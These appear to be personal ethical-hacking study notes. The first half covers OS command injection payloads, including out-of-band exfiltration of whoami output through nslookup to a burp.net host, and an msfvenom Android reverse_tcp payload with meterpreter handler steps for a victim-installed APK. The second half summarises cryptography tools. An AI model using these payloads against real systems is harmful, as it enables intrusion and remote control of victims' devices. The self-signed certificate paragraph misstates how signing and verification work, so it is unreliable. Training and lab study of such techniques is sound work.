simple case: look for url parameters./ request body parameters

commands can be: echo,ipconfig,uname -a

| echo anything |

& echo anything &

|| echo anything ||

| echo anything

& echo anything

Blind OS Command Injection:

injecting points can be: feedback form,request body parameters

email parameter=anything@gmail.com || ping+127.0.0.1+-c+20 || (20 milli sec)

Blind OS Command Injection with output redirection:

injecting points can be: feedback form,

email parameter=anything@gmail.com || echo abcd > /var/www/images/file.txt ||

Blind OS Command Injection with out-of-band interaction

injecting points can be: feedback form,

email parameter=anything@gmail.com || nslookup xyz.burp.net ||

Blind OS Command Injection with out-of-band data exfiltration:

injecting points can be: feedback form,

email parameter=anything@gmail.com || nslookup `whoami`.burp.net ||

email parameter=anything@gmail.com || nslookup `uname`.burp.net ||

IDOR(Do portswigger labs):

<https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references>

Look both get url and post body in burp and see for injecting points.

Android Hacking

Making Payload:

-->msfvenom -p android/meterpreter/reverse_tcp lhost=<attacker-ip> lport=4444 -o raw.apk

To Start Your Server To Host the file locally:

python -m SimpleHTTPServer 80

-->msfconsole

>use multi/handler

>set payload android/meterpreter/reverse_tcp

>set lhost <attacker-ip>

>set lport 4444

>show options

>run/exploit

Victims click on raw.apk and we get meterpreter session successfully.

meterpreter>help

meterpreter>background

meterpreter>upload

meterpreter>sysinfo

Cryptography

Hashcalc: fast and easy way to use calculator that allows computing messages digests,checksums,and HMAC's for files as well as for text and hex strings

calculating one way hashes using hashcalc

-->Use hashcalc to monitor file integrity

comparing hashes of file before and after upadting the content of the file.

-->Calculating MD5 hashes Using MD5 calculator

MD5 Calculator is used to calculate the intergrity of the file

-->Understanding File And text encryption Using Cryptoforge

CryptoForge is a file encription software for personal and professional data security.it allows you to protect the privacy of sensitive files,folders,or email messages,by encripting them with strong encription algorithms.

Here we used cryptoForge tool to encrypt and share files and messages with the intended person.

in real time,we may share sensitive information through email by encrypting data using the CryptoForge.

-->Encrypting and Decrypting the Data using BCTextEncoder

You need to encode the text while sending it to the intended user along with the password used for encryption. The user for whom the text is intended should have the BCTextEncoder app installer. He will have to paste the encoded text in the Encoded text section and use the password you shared to decode it to plain text.

-->Creating and using Self-signed Certificate

In this, user create a pair of public and private keys using a certificate creation tool such as Adobe reader, Java's keytool, apple's keychain, etc and signs the document with the public key. The receiver requests the sender for the public key to verify the certificate. However the certificate verification rarely occurs due to necessity of disclosing the private key. This makes self-signed certificates useful only in a self controlled testing environment.

-->Basic Disk Encryption Using VeraCrypt

VeraCrypt is software app used for on-the-fly encryption(OTFE). It can create a virtual encrypted disk within a file, or encrypt a partition or entire storage device.

In this lab, we demonstrated that, in cases of system hacks, if an attacker manages to gain remote access or complete access to the machine, he/she cannot find the encrypted volume-including its files-unless he/she is able to obtain the password. Thus, all sensitive information located on the encrypted volume is safeguarded.

-->Basic Data Encryption using CrypTool:

CrypTool is freeware program that enables you to apply and analyze cryptographic mechanisms. It includes every state-of-the-art cryptographic function and allows you to learn and use cryptography within the same environment.

-->Use encrypting/decrypting command

-->visualize several algorithms

-->calculate hash values and analysis
